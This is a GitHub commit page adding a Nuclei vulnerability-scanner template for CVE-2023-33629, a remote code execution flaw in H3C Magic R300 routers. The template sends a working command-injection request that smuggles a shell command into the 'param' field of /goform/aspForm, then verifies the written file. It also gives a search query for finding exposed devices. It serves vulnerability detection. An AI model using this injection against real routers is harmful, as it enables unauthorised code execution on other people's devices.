Merge pull request #8506 from projectdiscovery/CVE-2023-33629

Create CVE-2023-33629.yaml
patch-1
Ritik Chaddha 2023-11-03 16:19:50 +05:30 committed by GitHub
commit c64598bcfa
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 40 additions and 0 deletions

View File

@ -0,0 +1,40 @@
id: CVE-2023-33629
info:
name: H3C Magic R300-2100M - Remote Code Execution
author: DhiyaneshDK
severity: critical
description: |
H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-33629
- https://hackmd.io/@0dayResearch/r1UjggZfh
metadata:
max-request: 1
verified: true
fofa-query: app="H3C-Ent-Router"
tags: cve,cve2023,router,rce,h3c
variables:
filename: "{{to_lower(rand_text_alpha(7))}}"
http:
- raw:
- |
POST /goform/aspForm HTTP/1.1
Host: {{Hostname}}
CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp&param=1; $(ls>/www/{{filename}});
- |
GET /{{filename}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code_1 == 302
- contains(body_1, 'do_cmd.asp')
- status_code_2 == 200
- contains_all(body_2, 'www', 'www_multi')
condition: and